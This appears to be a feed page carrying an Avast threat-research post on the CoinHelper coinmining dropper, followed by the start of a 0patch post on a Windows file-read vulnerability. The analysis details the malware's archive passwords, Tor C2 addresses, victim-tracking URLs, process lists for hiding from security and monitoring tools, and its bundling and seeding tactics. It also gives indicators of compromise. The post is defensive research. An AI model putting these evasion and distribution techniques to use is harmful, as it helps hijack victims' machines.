There are new articles available, click to refresh the page.
✇ Avast Threat Labs

Toss a Coin to your Helper (Part 2 of 2)

By: Jan Rubín and Jakub Kaloč

In the first posting of this series, we looked at a clipboard stealer belonging to the MyKings botnet. In this second part of the blog series, we will discuss in detail a very prevalent malware family of AutoIt droppers, that we call CoinHelper, used in a massive coinmining campaign. Since the beginning of 2021, Avast has protected more than 125,000 users worldwide from this threat. CoinHelper is mostly bundled with cracked software installers such as WinRAR and game cheats.

Regarding game cheats, we’ve seen this bundling with some of the most popular and famous games out there including (but not limited to): Extrim and Anxious (Counter-Strike Global Offensive cheats), Cyberpunk 2077 Trainer (Cyberpunk 2077 cheat), PUBG and CoD cheats, and Minecraft. We’ve also found this threat inside a Windows 11 ISO image from unofficial sources (as we indicated on Twitter). We have even seen this threat bundled with clean software such as Logitech drivers for webcams. All in all, we have seen CoinHelper bundled with more than 2,700 different software so far, including games, game cheats, security software, utilities, clean and malware applications alike.

Our research brought us to this because we have seen a spread of these droppers via MyKings’ clipboard stealer payload as well, as described in our previous part of the blog post series. Nevertheless we can’t attribute CoinHelper to MyKings botnet, on the contrary based on the number of different sources of infection, we believe that CoinHelper used MyKings’ clipboard stealer as an additional system of malware delivery.

We have found some mentions of these AutoIt droppers in other blog posts from last year. One of the most notable instances was detailed by Trend Micro, describing a sample of the AutoIt dropper bundled with Zoom communicator (downloaded from an unofficial source) which happened in the early days of the COVID-19 pandemic when millions of new users were flocking to Zoom. Another instance is in a post from Cybereason mentioning a new dropper for XMRig miners.

In this blog post, we analyze the latest version of CoinHelper in detail, discuss the malware campaign, describe all its components as well as research into what applications are most often bundled with the malware and show how the malware spreads. We also outline some of the data harvesting that it performs on infected systems to map the infected victims.

Campaign overview

Since the beginning of 2020, we have seen more than 220,000 attempts to infect our users with CoinHelper, most of them being in Russia (83,000). The second most targeted country is Ukraine with more than 42,000 attacked users.

Map illustrating the targeted countries since the beginning of 2020

Monetary gain

One of the primary goals of CoinHelper is to drop a crypto miner on the infected machine and use the resources (electricity and computing power) of the victim’s computer to generate money for the attackers through mining.

Even though we observed that multiple crypto currencies, including Ethereum or Bitcoin, were mined, there was one particular that stood out – Monero. From the total of 377 crypto wallet addresses we extracted from the malware, 311 of them mined Monero through crypto mining pools. The reasons for criminals to choose Monero are quite obvious. Firstly, this cryptocurrency was created and designed to be private and anonymous. This means that tracing the transactions, owners of the accounts or even amounts of money that were stolen and/or mined can be quite difficult. Secondly, this cryptocurrency has a good value at this time – you can exchange 1 XMR  for ~$240 USD (as of 2021-11-29) 

Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to look more into the Monero mining operation of the malware authors and find out more about how much money they were able to gain.

To ensure more regular income, the miners were configured to use Monero mining pools. Mining pools are often used by miners to create one big and powerful node of computing power that works together to find a suitable hash and collect a reward for it. Because the search for the suitable hash is random, the more guesses you make, the bigger your chance to be successful. In the end, when the pool receives a reward, the money is split between the members of the pool depending on their share of work. Usage of the pools is very convenient for malware authors, specifically because pools work with a limited time. This is helpful for malware authors because it gives them a greater chance to successfully mine cryptocurrency in the limited time they have before their miners are discovered and eradicated.

In total we registered 311 Monero addresses used in the configuration of miners dropped by the AutoIts. These addresses were used in more than 15 different Monero mining pools whereas our data and research confirm that the mining campaign is even bigger and a lot of the addresses were used across multiple pools. After diving more into the data that the pools offer, we are able to confirm that as of 2021-11-29 the authors gained more than 1,216 XMR solely by crypto mining, which translates into over $290,000 USD. 

Apart from the Monero addresses, we also registered 54 Bitcoin addresses and 5 Ethereum addresses. After looking at these addresses we can conclude that these addresses received following amounts of money:

Cryptocurrency Earnings in USD Earnings in cryptocurrency Number of wallets
Monero $292,006.08 1,216.692 [XMR] 311
Bitcoin $46,245.37 0.796 [BTC] 54
Ethereum $1,443.41 0.327 [ETH] 5
Table with monetary gain (data refreshed 2021-11-29)

This makes total monetary gain of this malware 339,694.86 USD as of 2021-11-29. The amounts from the table above are total incomes of the Bitcoin and Ethereum wallets, so we can’t exclude the possibility that some part of money comes from other activities than mining, but we assume that even those activities would be malicious. As can be seen from the data we collected, the major focus of this campaign is on mining Monero, where attackers used ~5 times more wallet addresses and gained ~6 times more money.

Technical analysis

Dropping the payload

Let’s continue straight away where we left off in the previous part. As we learned, the clipboard stealer could swap copy+pasted wallet addresses in the victim’s clipboard, as well as swap other links and information depending on the malware’s configuration. One of these links was https://yadi[.]sk/d/cQrSKI0591KwOg.

After downloading and unpacking the archive (with a password gh2018), a new sample Launcher.exe is dropped (c1a4565052f27a8191676afc9db9bfb79881d0a5111f75f68b35c4da5be1f385). Note that this approach is very specific for the MyKings clipboard stealer and requires user’s interaction. In other, and most common, cases the user obtains a whole bundled installer from the internet, unintentionally executing the AutoIt during the installation of the expected software.

This sample is the first stage of a compiled AutoIt script, a dropper that we call CoinHelper, which provides all necessary persistence, injections, checking for security software along the way, and of course downloading additional malware onto the infected machine.

Although this sample contains almost all of the latest functionality of these AutoIt droppers, it is not the latest version and some of their features are missing. For that reason, we decided to take a newer (but very similar) version of the dropper with a SHA 83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf instead and describe thoroughly all of the functionalities in one place.

Overview of the infection chain

Exploring the first stage

Let’s dive into the newer sample. This one is usually downloaded with a name start.exe on users’ machines and holds a Google Chrome icon. Upon a closer look, it is apparent that this is a compiled AutoIt binary.

After extracting the AutoIt script from the sample we can see additional components:

  • asacpiex.dll
  • CL_Debug_Log.txt
  • glue\ChromeSetup.exe

CL_Debug_Log.txt is a clean standalone executable of 7zip and asacpiex.dll is a damaged (modified) 7zip archive carrying the second stage of the malware. Soon, we will fix this archive and look inside as well, but first, let’s focus on the extracted AutoIt script. The last binary from the list above, placed in the glue folder, is one of the many possibilities of the bundled apps inside CoinHelper. In this case, we witness a clean setup installer of the Chrome browser. If you are interested in seeing what other applications are usually bundled with CoinHelper, see Bundled apps overview for details.

Rude welcome

The AutoIt script is actually very readable. Well, perhaps even too much, looking at the vulgarity in the beginning. Note that Region / EndRegion is SciTE text editor’s feature to mark code regions. In this case, however, the script starts with the EndRegion clausule and some well known AutoIt decompilers, such as Exe2Aut (v0.10), struggle very much with this and are unable to decompile the script, effectively displaying just the rude welcome. Note that myAut2Exe (v2.12) for example has no issues with the decompilation.

We can also see here the beginning of the malware’s configuration, first checking for the existence of a mutex QPRZ3bWvXh (function called _singleton), followed by scheduled task configuration. As shown in the code above, the SystemCheck scheduled task presents itself as a Helper.exe application from Microsoft. However, Microsoft doesn’t provide any tool with such a name. The scheduled task is used for executing the malware, persistently.

The modification of the asacpiex.dll archive was done by nulling out the first five bytes of the file which can be easily restored to reflect the usual 7zip archive header: 37 7A BC AF 27. The script is replacing even more bytes, but that is not necessary.

Before we dive into the contents extracted from the archive (a keen eye already spotted that the password is JDQJndnqwdnqw2139dn21n3b312idDQDB), let’s focus on the rest of this script. We will continue with the unpacking of asacpiex.dll in the Exploring the second stage section.

In the code above, we also see that ChromeSetup.exe is placed into the glue folder. This folder (sometimes called differently, e.g. new) contains the original application with which the malware was bundled together. In our analysis we are showing here, this is a clean installer of the Chrome browser that is also executed at this stage to preserve the expected behavior of the whole bundle.

We encountered many different applications bundled with CoinHelper. Research regarding these bundles is provided in a standalone subsection Bundled apps overview.

Mapping the victims

In addition to fixing the damaged archive, executing the second stage, and ensuring persistence, the first stage holds one additional functionality that is quite simple, but effective.

The malware uses public services, such as IP loggers, to aggregate information about victims. The IP loggers are basically URL shorteners that usually provide comprehensive telemetry statistics over the users clicking on the shortened link.

Additionally, as we will see further in this blogpost, the attacker harvests information about victims, focusing on the victim’s OS, amount of RAM installed, the CPU and video card information, as well as the security solutions present on the system. All the collected information is formatted and concatenated to a single string.

This string is then sent to a hardcoded URL address in the form of a user-agent via GET request. In our sample, the hardcoded URL looks like https://2no[.]co/1wbYc7.

Note that URLs such as these are sometimes also used in the second stage of CoinHelper as well. From our dataset, we have found 675 different URLs where the malware sends data.

Because the attackers often use public services without authentication, we can actually peek inside and figure out the figures from their perspective. The bottom line is that they are making a statistical evaluation of their various infection vectors (bundled installers from unofficial software sources, torrents, MyKings botnet, and more) across the infected user base, effectively trying to focus on people with higher-end machines as well as getting to know which regions in the world use what antivirus and/or security solutions.

As an example, we can see information available on one of the many still-active links containing a date and time of the click, IP address (anonymized) and ISP, corresponding geolocation, used web browser and of course, the user-agent string with the harvested data.

Attacker’s view on the infected victims (black squares are anonymized IP addresses)

The attacker also has access to the geographic location of the victims in a map view.

Attacker’s view on the geographic information of the infected victims

In the sections below, the reader can find further details of how the information is obtained in the first stage of the malware, along with further details about the harvested data.

Checking the CPU 

The malware executes one of the two variants of shellcodes (x86 and x64), present in hexadecimal form:

  • 0x5589E5538B45088B4D0C31DB31D20FA28B6D10894500895D04894D0889550C5B5DC3
  • 0x5389C889D131DB31D20FA26741890067418958046741894808674189500C5BC3

When we disassemble the shellcodes, we can see common cpuid checks, returning all its values (registers EAX, EBX, ECX, EDX). Thus, the malware effectively harvests all the information of the currently present processor of the victim, its model and features.

x86 CPUID check
x64 CPUID check

All the information is parsed and particular features are extracted. Actually, the feature lists in the malware are identical to the CPUID Wikipedia page, exactly pointing out where the attacker was inspired.

Even though all the information is harvested, only the AES instruction set bit is actually checked – if the processor supports this instruction set and it is x64, only then it will install the x64 bit version of the final stage (coinminer). In the other case, the x86 version is used.

As we mentioned, the rest of the information is collected, but it is actually not used anywhere in the code.

CPU and video card information

The cpuid check is not the only one that performs HW checks on the victim’s system. Two additional WMI queries are used to obtain the names of the victim’s processor and video card:
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController

Furthermore, the malware uses GetSystemInfo to collect the SYSTEM_INFO structure to check the number of cores the victim’s CPU has.

AV checks

The script also checks for running processes, searching for security solutions present on the machine. This information is once again “just” logged and sent to the IP logging server – no other action is done with this information (e.g. altering malware’s functionality).

The complete list of all the checked AV / Security solutions by their processes, as presented in the malware, can be found in Appendix.

Exploring the second stage – asacpiex.dll

Now, let’s dive into the second stage of the malware. After the asacpiex.dll archive is fixed, it is saved as CR_Debug_Log.txt to the Temp folder.

To unpack the archive, the malware uses a password JDQJndnqwdnqw2139dn21n3b312idDQDB. This is the most common password for these AutoIt droppers. However, it is not the only one and so far, we counted two additional passwords:

Unpacking reveals two additional files:

  • 32.exe
  • 64.exe

Depending on the architecture of the OS and whether the AES instruction set is available, one of these files is copied into
and executed (via a scheduled task).

Both of these files are once again compiled AutoIt scripts, carrying functionality to distribute further payloads, in the form of coinminers, to victims via Tor network.

After the decompilation of the files, we can see that both of the output scripts are very similar. The only difference is that the x64 version tries to also utilize the user’s graphic card as well if possible for coinmining, not just the CPU. In the text below, we will focus on the x64 version since it contains more functionality.

Although Helper.exe is the most common name of the malware by far, it is not the only possibility. Other options we’ve seen in the wild are for example:

  • fuck.exe
  • Helperr.exe
  • svchost.exe
  • System.exe
  • system32.exe
  • WAPDWA;DJ.exe
  • WorkerB.exe


As we already mentioned, the primary goal of the Helper.exe dropper is to drop an XMRig coinminer onto the victim’s system via Tor network. The coinminer is executed with a hardcoded configuration present in the script.

Helper.exe holds a variety of other functionalities as well, such as performing several system checks on the victim’s PC, injecting itself into %WINDIR%\System32\attrib.exe system binary, checking the “idleness” of the system to intensify the mining, and more. Let’s now have a look at how all these functionalities work.

Downloading coinminers via Tor network

The main purpose of the dropper is to download a payload, in our case a coinminer, onto the infected system. To do so, the malware performs several preparatory actions to set up the environment to its needs.

First and foremost, the malware contains two additional files in hexadecimal form. The first is once again a clean 7zip binary (but different than CL_Debug_Log.txt) and the second one is a 7zip archive containing a clean Tor binary and belonging libraries:

  • libcrypto-1_1-x64.dll
  • libevent-2-1-7.dll
  • libevent_core-2-1-7.dll
  • libevent_extra-2-1-7.dll
  • libgcc_s_seh-1.dll
  • libssl-1_1-x64.dll
  • libssp-0.dll
  • libwinpthread-1.dll
  • tor.exe
  • zlib1.dll

To be able to unpack Tor, a password DxSqsNKKOxqPrM4Y3xeK is required. This password is also required for unpacking every downloaded coinminer as well, but we will get to that later.

After Tor is executed, it listens on port 9303 on localhost ( and waits for requests. To prevent confusion at this point, note that this execution is hidden by default because tor.exe should not be mistaken for a Tor browser. tor.exe is a process providing Tor routing (without a GUI). In a common Tor browser installation, it can be usually found in \<Tor browser root folder>\Browser\TorBrowser\Tor\tor.exe.

The script further contains a few Base64 encoded Tor addresses of the C&C servers and tries which one is alive. This is done by initializing SOCKS4 communication via a crafted request (in the hexadecimal form):
04 01 00 50 00 00 00 FF 00 $host 00
where $host is the demanded server address.

The malware expects one of the standard protocol responses and only if the response contains 0x5A byte, the malware will further proceed to communicate with the server.

Byte Meaning
0x5A Request granted
0x5B Request rejected or failed
0x5C Request failed because client is not running identd (or not reachable from server)
0x5D Request failed because client’s identd could not confirm the user ID in the request
Source: https://en.wikipedia.org/wiki/SOCKS

The lists of Tor addresses differ quite a bit across multiple samples. So far we’ve seen 24 unique C&C servers (see our IoC repository for the complete list). However, at the time of writing, only two of all the servers were still active:

  • 2qepteituvpy42gggxxqaaeozppjagsu5xz2zdsbugt3425t2mbjvbad[.]onion
  • jbadd74iobimuuuvsgm5xdshpzk4vxuh35egd7c3ivll3wj5lc6tjxqd[.]onion

If we access the server using e.g. Tor browser, we can see a default Windows Server landing page, illustrated in figure below. Note that this is a very common landing page for MyKings C&Cs. However, this single fact is not sufficient for attributing CoinHelper to MyKings.

Default Windows Server landing page. The same image is also commonly present on MyKings C&C servers, but that is not sufficient for attribution.

The malware is capable of downloading four files in total from an active server, present in a “public” subfolder:

  • public/upd.txt
  • public/64/64.txt (or public/32/32.txt if the “32 bit variant” of the script is used)
  • public/vc/amd.txt
  • public/vc/nvidia.txt

The files 64.txt (32.txt), amd.txt, and nvidia.txt are all XMRig coinminers (encoded and compressed), both for CPU or an according GPU card.

The upd.txt file is a plaintext file containing a version number bounded by _ and ! symbols, for example _!1!_. The malware asks the server what’s the version and if the version is newer, all coinminers are updated (downloaded again).

The miners are downloaded as a hexadecimal string from the C&C, ending with a constant string _!END!_. After the end stub is removed and the string decoded, we get a 7zip archive. Once again, we can use the DxSqsNKKOxqPrM4Y3xeK password to unpack it.

After the unpacking, we can get these files:

  • SysBackup.txt – for CPU miners (both 32 and 64 bit)
  • SysBackupA.txt – when there is also AMD GPU detected
  • SysBackupN.txt – when there is also NVIDIA GPU detected

These files are once again present in a hexadecimal form, this time starting with 0x prefix and without the end stub.

Furthermore, a few additional files can be found with the “SysBackup” files for ensuring the mining functionality and optimal mining, when appropriate (for example xmrig-cuda.dll for NVIDIA cards).

The download process can be seen in the following visualisation:


The coinmining (and the 7zip unpacking) is executed via process injection. The CPU coinmining is performed by injecting into a newly created and suspended process of %WINDIR%\System32\attrib.exe.

Execution of all the other components, such as GPU mining or unpacking of the coinminer payloads downloaded from Tor, is done by injecting into itself, meaning a new suspended instance of Helper.exe is used for the injection. When there is coinmining on GPU supported, both CPU and GPU are executed in parallel.

Note that the injection is done by a publicly available AutoIt injector, so the author chose the copy+paste way without reinventing the wheel.

From our research, we’ve only seen XMRig to be deployed as the final coinmining payload. The malware executes it with common parameters, with one approach worth mentioning – a parameter setting the password for the mining server “-p”. In standard situations, the password doesn’t really matter so the malware authors usually use “x” for the password. In this case, however, the malware generates a GUID of the victim and appends it to the usual “x”.

The GUID is created by concatenating values from one of the WMI queries listed below:
SELECT * FROM Win32_ComputerSystemProduct
SELECT * FROM Win32_Processor
SELECT * FROM Win32_PhysicalMedia

Which query should be used is defined in the configuration of the AutoIt script. The GUID is created by hashing the obtained information using MD5 and formatted as a standard GUID string:

With this approach, the malware author is in fact able to calculate the exact number of infected users who are actually mining, because all the mining will be performed via a unique password, passing it as an ID of the “worker” (= victim) to the pool.


Similarly to the first stage, at the beginning of the second stage, particular mutexes are checked and created if necessary:

  • QPRZ1bWvXh
  • QPRZ1bWvXh2

As we can see, only the number in the middle of the mutex is changed compared to the first stage (QPRZ3bWvXh). The second mutex has an appended 2 as a constant. We have also seen QPRZ2bWvXh used as well, once again changing the middle number.

For the sake of staying hidden for the longest time possible, the malware checks several processes using a native AutoIt ProcessExists function for any running system monitoring and analysis tools:

  • aida64.exe
  • AnVir.exe
  • anvir64.exe
  • GPU-Z.exe
  • HWiNFO32.exe
  • HWiNFO64.exe
  • i7RealTempGT.exe
  • OpenHardwareMonitor.exe
  • pchunter64.exe
  • perfmon.exe
  • ProcessHacker.exe
  • ProcessLasso.exe
  • procexp.exe
  • procexp64.exe
  • RealTemp.exe
  • RealTempGT.exe
  • speedfan.exe
  • SystemExplorer.exe
  • taskmgr.exe
  • VirusTotalUpload2.exe

When the tool is spotted, the malware temporarily disables the mining. The information about running coinminers is stored in two files:

  • mn.pid
  • gmn.pid

As their names might disclose, a particular PID of the running (GPU) coinminer is written there.

The malware also monitors whether the victim actually uses their PC at the moment. If the user is idle for a while, in our particular case for 3 minutes, the current coinmining is terminated and a new coinmining process is executed and set to leverage 100% of the CPU on all threads. This information (PID) is stored in a file called mn.ld. When the PC is actively used, the mining is set to 50% of the available performance. On the other hand, GPU mining is performed only when the user is not actively using their PC (for 2 minutes).

The malware also lists all console windows present on the system and finds out those that have visibility set to hidden. If such a window is found and it doesn’t belong to CoinHelper, the malware considers it as a competing miner and kills the process.

Data harvesting and AV checks

Similarly to the previous AutoIt stage, Helper.exe collects information about the infected system, too, as shown in the table below:

Information Purpose
Number of available CPU threads If the victim’s system is idle, the malware leverages all CPU threads
Video card type What kind of card is used – for Nvidia or AMD optimized coinmining
CPU type Not used (*see below)
Security solution Not used (*see below)
HW ID hashed by MD5 Appended to XMRig password, resulting in a parameter -p xMD5 (see Coinmining for details)

As we could see (*) in the table above, the code actually contains functions for the harvesting of some information that is not actually executed. This means that while it could gather this information, it doesn’t. Due to similarities with the first stage, we suppose that the authors have forgotten some artifacts of previous versions due to shifts of functionality between the first AutoIt stage and the Helper.exe stage.

The malware recognizes which graphic card is available on the infected system. These cards are detected using the WMI query on Win32_VideoController. You can find all the cards, as presented in the malware, in the table below:

AMD Series AMD Model
RX 460, 470, 480, 540, 550, 560, 570, 580, 590, 640, 5500, 5600, 5700, 6800, 6900
R5 230
R7 240
VEGA 56, 64
Radeon 520, 530, 535, 540, 550, 610, 620, 625, 630, VII
WX 3100, 5100
Nvidia Series Nvidia Model
GTX 750, 970, 980, 980, 1050, 1060, 1070, 1080, 1650, 1660, TITAN
RTX 2050, 2060, 2070, 2080, 3060, 3070, 3080, 3090
GT 710, 720, 730, 740, 1030
Quadro K1000, K1200, P400, P620, P1000, P2000, P2200, P5000

If any card from above is detected and also the video adapter name matches either “Advanced Micro Devices, Inc.” or “NVIDIA”, the malware uses XMRig to leverage GPU for coinmining.

From the list of graphic cards, it is apparent that the malware doesn’t hesitate to leverage the newest models of graphic cards.

Bundled apps overview

After looking at the software that the infected victims originally wanted to install, we can conclude that CoinHelper can be bundled with practically anything. So far, we’ve seen over 2,700 different apps bundled with CoinHelper (differentiating by unique SHA256 hashes). The majority of the software consists of clean installers, cracked software, cracked games or game cheats like ChromeSetup, Photoshop, MinecraftSetup, Assassin’s Creed Valhalla, CyberPunk 2077 Trainer or AmongUs cheats. With repertoire like this, the authors of CoinHelper are able to reach out to almost any type of audience ensuring successful spread of the malware.

Persuading someone to download supposedly clean software, which is in reality bundled with malware, is easier than persuading someone to willingly download malware which is secretly bundled with another malware. Authors of CoinHelper are not afraid of this challenge as we observed CoinHelper to be also bundled with samples of malware like 888 RAT or njRAT. We assume that with this approach, the target group of people gets extended by “script kiddies” and inexperienced people with an interest in malware. As this group of people is very specific, there are only a few samples of malware in comparison with the amount of other software. Graphical overview of this proportion can be seen also in the image below.

Origin of the bundled apps

Apart from the Yandex Disk storage from where we started our investigation, we can confirm that another considerable method of spreading CoinHelper is via malicious torrents placed on internet forums focused on cracked software.

Forums overview

The authors of the malware successfully made it easy for people to stumble upon the malicious torrents. During our research, we found CoinHelper bundled with software on  Russian internet forums focusing on cracked software:

  • windows-program[.]com
  • softmania[.]net

Even though we were able to find information about the number of downloads of the malware from these forums (more about this later), it wasn’t nearly enough to explain the number of hits from our user base. Because of this, we have to assume that there are tens of forums like the ones mentioned above, spreading malware through cracked software. 

More about the forums

Let’s focus on the first forum windows-program[.]com, as the other one is very similar. Between the thousands and thousands of articles, we found the samples we were looking for. As it turns out, registered user Alex4 created 29 different articles mostly containing torrents for cracked software including:

Advertised software Description & functionality
Ableton Live Suite 9.7.3 + Crack + торрент Audio workstation and music production software with current price 599 €
Dr.Web Security Space x86 x64 + ключ + торрент Anti-virus solution
ESET NOD32 Smart Security + ключи + торрент Anti-virus solution
Avast Premier 11.2.2260 + ключ + торрент Anti-virus solution
Adobe Photoshop CC 2017.1.1 + Portable + торрент Photo and image editing software
Fraps 3.5.99 на русском + crack + торрент Screen capture and screen recording utility, popular to videocapture games

As can be seen in the table above, CoinHelper can be also found bundled with multiple well-known AV solutions. Let’s take a closer look at a post about Avast AV for the sake of awareness about threats that come with downloading AV from sources like this.

First thing to notice is that the post is from 2020-11-06. It also  contains some  screenshots of the promised program, but it can be seen that it is a very old version of our AV from 2016. After launching the installation, users get to choose between installing the old version or updating AV to the newest version. Unfortunately, the installer was manipulated and neither of the options work and the no-update variant crashes the system. As a result, the output from this download for users is that they don’t get AV protection, they might crash their system and they also get infected with CoinHelper. Because of this we highly recommend downloading only signed software from verified and trustworthy sources and if possible verify hashes or checksums of installers.

As a matter of fact, neither of the AV installers worked. After launching an installer, CoinHelper would install itself and installation would fail because of various reasons. It makes sense that authors of the malware would choose malfunctioning these installers, because there is no reason to give victims a tool that kills and removes their freshly dropped malware from the system.

In the post, it is possible to download three different things:

  • A torrent file with which it is possible to download the advertised program with CoinHelper
  • A zip archive protected with a password “123” containing the advertised program with CoinHelper

After choosing between a zip archive or torrent, the page opens a new tab with information about the file to be downloaded. On the image below it is possible to see the date when the file was added to the page. Surprisingly it is 2021-07-12 and not 2020-11-06, so the file is much newer than the post referencing it. Because we have seen multiple versions of the malicious AutoIt scripts, we suppose that authors of the malware are updating these files with new versions of CoinHelper. 

Additional information that can be noticed on the image above is that the torrent file was downloaded 549 times and after adding the 508 downloads of the zip archive, we can conclude that more than 1,000 people may have got infected just from this one post on this forum. After checking all the forum posts and files uploaded by the user Alex4 we can confirm that the total number of downloads is more than 45,000 by the 2021-11-02. We consider this number to be quite alarming considering it is the spread of malware only from a single internet forum.

The second forum (softmania[.]net) is quite similar. In this case, the user from whose account the malware is spreading is WebGid4. This user has 56 publications on the forum among which you can find posts about following software:

Advertised software Description & functionality
Windows 11 64bit Pro-Home v.21 торрент Windows 11 ISO image
Adobe Photoshop Lightroom Classic 2021 v10.0 + торрен Photo and image editing software
Microsoft Office 2016 Professional Plus 16.0.7571.2075 + Ключ + Torrent MS Office package
VMware Workstation 12 Pro 12.5.4 Software that creates and runs virtual machines
Steinberg Cubase Pro 10.0.50 2020 + торрент Software for composing, recording, mixing and editing music

The first thing that caught our eyes was the ISO image of the brand new OS Windows 11. The official Windows 11 release date was 2021-10-05, which was only a few weeks before the release of this blogpost. This means that the attackers are really keeping the pace with the current trends and they try very hard to have interesting software to infect as many victims as they can.

After downloading the torrent named “Windows 11 64bit Pro-Home v.21 торрент” victims would download through the torrent client an ISO file named “windows_11_CLIENT_CONSUMER_x64FRE_en-us.iso”. This is a working ISO image of Windows 11, which installs a brand new operating system, but as a bonus it deploys CoinHelper that is inside the ISO image. After unpacking the ISO file, there is an executable called \sources\setup.exe present that contains bundled CoinHelper.

If the victims were more careful, a hint that something is sketchy could be seen after clicking on the download torrent link and opening a download page in the new tab. The torrent was added 2021-07-10, only 17 days after the official announcement of Windows 11 and ~3 months before the official release. This already raised many flags, and as we later found out, it is a Windows 11 developer version that was leaked in June 2021. This ISO image is able to successfully upgrade existing Windows OS to the new Windows 11 also with CoinHelper in it.

Seeding source

We’ve seen these malicious files being downloaded through torrents which are seeded from seed boxes. A seed box is a remote server used for storing and seeding files through the P2P network that can be rented as a service. Seed boxes serve as a layer of anonymity for attackers because instead of exposing their IP address, only the IP address of the seed box can be seen. They also ensure high availability of the content, because the seed box is supposed to be running 24/7 (unlike regular PCs). Furthermore, companies renting seed boxes also offer different bandwidths to be able to support even higher download rates.

When we looked into the malicious torrents from the Alex4 on windows-program[.]com forum, we saw that the malicious content is downloaded from the server with IP 88.204.193[.]34 on port 56000 (apart from others probably already infected seeders). After taking a closer look at this IP address, we’ve found out that the IP address is located in Kazakhstan and it is connected to the service named megaseed (megaseed.kz).


In this blog post, we presented a detailed technical analysis of CoinHelper, a family of AutoIt droppers, which provides a massive coinmining campaign affecting hundreds of thousands of users worldwide. The malware is being spread in a form of a bundle with another software, being it game cheats, cracked software, or even clean installers such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others.

Furthermore, we explained how the malware maps the victims of the campaign using public IP logging services to better understand the effectiveness of the chosen infection vectors in certain regions. Using these services, the malware also harvests information about victims’ security solutions and available computational power.

We explained how the malware can hide literally in any software from unofficial sources. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Indicators of Compromise (IoC)

SHA256 File name
83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf start.exe
cc36bb34332e2bc505da46ca2f17206a8ae3e4f667d9bdfbc500a09e77bab09c asacpiex.dll
ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d CL_Debug_Log.txt
126d8e9e03d7b656290f5f1db42ee776113061dbd308db79c302bc79a5f439d3 32.exe
7a3ad620b117b53faa19f395b9532d3db239a1d6b46432033cc0ef6a8d2377cd 64.exe
7387e57e5ecfdba01f0ad25eeb49abf52fa0b1c66db0b67e382d3b9c057f51a8 32.txt
ff5aa6390ed05c887cd2db588a54e6da94351eca6f43a181f1db1f9872242868 64.txt
6753d1a408e085e4b6243bfd5e8b44685e8930a81ec27795ccd61f8d54643c4e amd.txt
93dd8ef915ca39f2a016581d36c0361958d004760a32e9ee62ff5440d1eee494 nvidia.txt
Logging services


List of checked security solutions

AV / Security solution Checked processes
Avast AvastUI.exe, AvastSvc.exe
NOD egui.exe, ekrn.exe
Kaspersky avp.exe, avpui.exe
AVG avguix.exe, AVGUI.exe
Dr.web dwengine.exe
Ad-Aware AdAwareTray.exe, AdAwareDesktop.exe
SecureAPlus SecureAPlus.exe, SecureAPlusUI.exe
Arcabit arcabit.exe, arcamenu.exe
Bitdefender seccenter.exe, bdagent.exe, bdwtxag.exe, agentcontroller.exe
Comodo cis.exe, vkise.exe
Cybereason CybereasonRansomFree.exe
Emsisoft a2guard.exe, a2start.exe
eScan escanmon.exe, TRAYICOS.exe, escanpro.exe
F-Prot FProtTray.exe, FPWin.exe
GData AVKTray.exe, GDKBFltExe32.exe, GDSC.exe
ikarus guardxkickoff.exe, virusutilities.exe
K7AntiVirus K7TSecurity.exe, K7TSMain.exe, K7TAlert.exe
MaxSecure Gadget.exe, MaxProcSCN.exe, MaxSDTray.exe, MaxSDUI.exe, MaxUSBProc.exe
McAfee McDiReg.exe, McPvTray.exe, McUICnt.exe, mcuicnt.exe, MpfAlert.exe, ModuleCoreService.exe, uihost.exe, delegate.exe
MicrosoftSecurityEssentials msseces.exe
Panda PSUAConsole.exe, PSUAMain.exe
TrendMicro PtSessionAgent.exe, uiSeAgnt.exe, uiWinMgr.exe
TrendMicro-HouseCall HousecallLauncher.exe, housecall.bin, HouseCallX.exe
Webroot WRSA.exe
ZoneAlarm zatray.exe
AhnLab-V3 ASDCli.exe, ASDUp.exe, MUdate.exe, V3UPUI.exe, V3UI.exe
Avira avgnt.exe, Avira.Systray.exe, ngen.exe, Avira.VPN.Notifier.exe, msiexec.exe
Bkav BkavHome.exe
BkavPro Bka.exe, BkavSystemServer.exe, BLuPro.exe
F-Secure fshoster32.exe
Jiangmin KVMonXP.kxp, KVPreScan.exe, KVXp.kxp
Kingsoft kislive.exe, kxetray.exe
NANO-Antivirus nanoav.exe
Qihoo-360 efutil.exe, DesktopPlus.exe, PopWndLog.exe, PromoUtil.exe, QHSafeMain.exe, QHSafeTray.exe, SoftMgrLite.exe
Rising popwndexe.exe, rsmain.exe, RsTray.exe
SUPERAntiSpyware SUPERAntiSpyware.exe
Tencent QQPCTray.exe, QQPCUpdateAVLib.exe, Tencentdl.exe, TpkUpdate.exe
VBA32 vba32ldrgui.exe, VbaScheluder.exe, BavPro_Setup_Mini_C1.exe
ViRobot hVrSetup.exe, hVrTray.exe, hVrScan.exe, hVrContain.exe
Zillya ZTS.exe
Defender MSASCui.exe, MSASCuiL.exe
SmartScreen smartscreen.exe

The post Toss a Coin to your Helper (Part 2 of 2) appeared first on Avast Threat Labs.

✇ 0patch Blog

Micropatching Unpatched Local Privilege Escalation in Mobile Device Management Service (CVE-2021-24084 / 0day)

By: Mitja Kolsek


by Mitja Kolsek, the 0patch Team

In June 2021, security researcher Abdelhamid Naceri published a blog post about an "unpatched information disclosure" vulnerability in Windows. The post details the mechanics of the issue and its exploitation, allowing a non-admin Windows user to read arbitrary files even if they do not have permissions to do so. The exploit namely copies file(s) from a chosen location into a CAB archive that the user can then open and read.

Abdelhamid's blog post also provides the timeline of reporting the vulnerability to Microsoft through ZDI in October 2020, Microsoft assigning a CVE ID to the issue and allegedly planning to fix it in April 2021, and the latter not happening in April. Or June. Or July or August or September or October.

While we had noticed Abdelhamid's June disclosure, it didn't seem to be a critical enough issue for micropatching, as we generally don't patch information disclosure bugs.

